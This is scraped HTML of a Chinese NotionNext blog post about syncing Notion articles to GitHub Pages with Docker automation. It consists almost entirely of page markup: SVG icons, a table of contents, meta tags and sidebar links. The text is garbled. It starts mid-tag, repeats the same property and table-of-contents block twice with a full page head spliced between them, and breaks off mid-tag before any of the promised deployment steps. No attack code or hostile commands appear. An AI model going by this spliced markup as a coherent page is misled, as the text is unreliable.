0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><div class="notion-blank notion-block-fc9327dd154c4aafa6c2dddeff9bfd00"> </div><div class="notion-table-of-contents notion-gray notion-block-0f5498bf87f84a8ea12908f21f3dd7ad"><a href="#2ca713d3da294c79a8f0160fd89a3131" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">契机</span></a><a href="#6f60deabd63b4de5915f341292360b4f" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">NotionNext搭建</span></a><a href="#bf8e41492f5d46359ced58c144d4eb4e" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">官方文档</span></a><a href="#f952f956265d4035ab19a864c14fe426" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">拷贝模板</span></a><a href="#c85383f152f24a788c634c3e26989def" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">分享到站外并且复制自己的pageId</span></a><a href="#e33e5c7a5bed4effbd864bdb596d03b2" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">fork大佬的项目到自己GitHub上</span></a><a href="#31ab52d037824e6283ba7e47d3d5366e" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">运行测试&amp;打包</span></a><a href="#2992810d657a4ba991321351b3060bd5" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">仓库文件添加</span></a><a href="#c1cc45483e104d0bbbc4e203ad30dd03" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">部署到GitPage</span></a><a href="#5040c940a1174c509ed5bd7dfc5c7a7c" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">美化</span></a><a href="#12eb9707d5574a4c9ee98423754c863c" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">更换标题</span></a><a href="#7f2e7b2fb4614a91808e0fb77f22dc8a" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">自定义美化</span></a><a href="#0174ca16501d463e97f802d1068ae63f" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">自动化脚本编写</span></a><a href="#f7c6f34a162949e596093ea558b11f24" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">目录结构</span></a><a href="#4b330d9629434e6fb263d060afecba84" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">deploy脚本</span></a><a href="#1614c8d3bb334af586096cee2e2cda39" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">DokcerFile文件</span></a><a href="#063f19424cba435780a409313a3f0d07" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">准备容器内GitPage推送权限</span></a><a href="#9690bac276a64f239725701322a573e5" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">搭建步骤</span></a><a href="#b41d838b6fbe4d719722dadacb382dcf" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">验证</span></a><a href="#b3324876371f4045b0729dbf1508458d" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">特别提醒</span></a><a href="#9144d30dd0cd43c6867b4a5554268b55" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">写到最后</span></a></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-2ca713d3da294c79a8f0160fd89a3131" data-id="2ca713d3da294c79a8f0160fd89a3131"><span><div id="2ca713d3da294c79a8f0160fd89a3131" class="notion-header-anchor"></div><a class="notion-hash-link" href="#2ca713d3da294c79a8f0160fd89a3131" title="契机"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">契机</span></span></h2><blockquote class="notion-quote notion-block-42068f89093f4eaca6a822bb1b77cfbe"><div>Notion GitPage docker 自动化整合</div></blockquote><div class="notion-callout notion-gray_background_co notion-block-4739ebdd704b4019a6d7bad1179eec4b"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="💡">💡</span></div><div class="notion-callout-text">之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。
+<!DOCTYPE html><html lang="zh-CN"><head><title>Notion文章自动同步GitPage | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="建站,推荐,工具,docker,自动化,折腾,git"/><meta name="description" content="之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="Notion文章自动同步GitPage | Both Savage"/><meta property="og:description" content="之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便"/><meta property="og:url" content="https://bothsavage.github.io//article/240119-notion"/><meta property="og:image" content="https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&amp;q=50&amp;fm=webp&amp;crop=entropy&amp;cs=srgb&amp;t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&amp;width=800&amp;fmt=webp"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便"/><meta name="twitter:title" content="Notion文章自动同步GitPage | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="技"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  bg-green-50 text-green-500"><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">Notion文章自动同步GitPage</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-ce6b6618a1184ee9b74c33a848d0f0ed"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><div class="notion-blank notion-block-fc9327dd154c4aafa6c2dddeff9bfd00"> </div><div class="notion-table-of-contents notion-gray notion-block-0f5498bf87f84a8ea12908f21f3dd7ad"><a href="#2ca713d3da294c79a8f0160fd89a3131" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">契机</span></a><a href="#6f60deabd63b4de5915f341292360b4f" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">NotionNext搭建</span></a><a href="#bf8e41492f5d46359ced58c144d4eb4e" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">官方文档</span></a><a href="#f952f956265d4035ab19a864c14fe426" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">拷贝模板</span></a><a href="#c85383f152f24a788c634c3e26989def" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">分享到站外并且复制自己的pageId</span></a><a href="#e33e5c7a5bed4effbd864bdb596d03b2" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">fork大佬的项目到自己GitHub上</span></a><a href="#31ab52d037824e6283ba7e47d3d5366e" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">运行测试&amp;打包</span></a><a href="#2992810d657a4ba991321351b3060bd5" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">仓库文件添加</span></a><a href="#c1cc45483e104d0bbbc4e203ad30dd03" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">部署到GitPage</span></a><a href="#5040c940a1174c509ed5bd7dfc5c7a7c" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">美化</span></a><a href="#12eb9707d5574a4c9ee98423754c863c" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">更换标题</span></a><a href="#7f2e7b2fb4614a91808e0fb77f22dc8a" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" 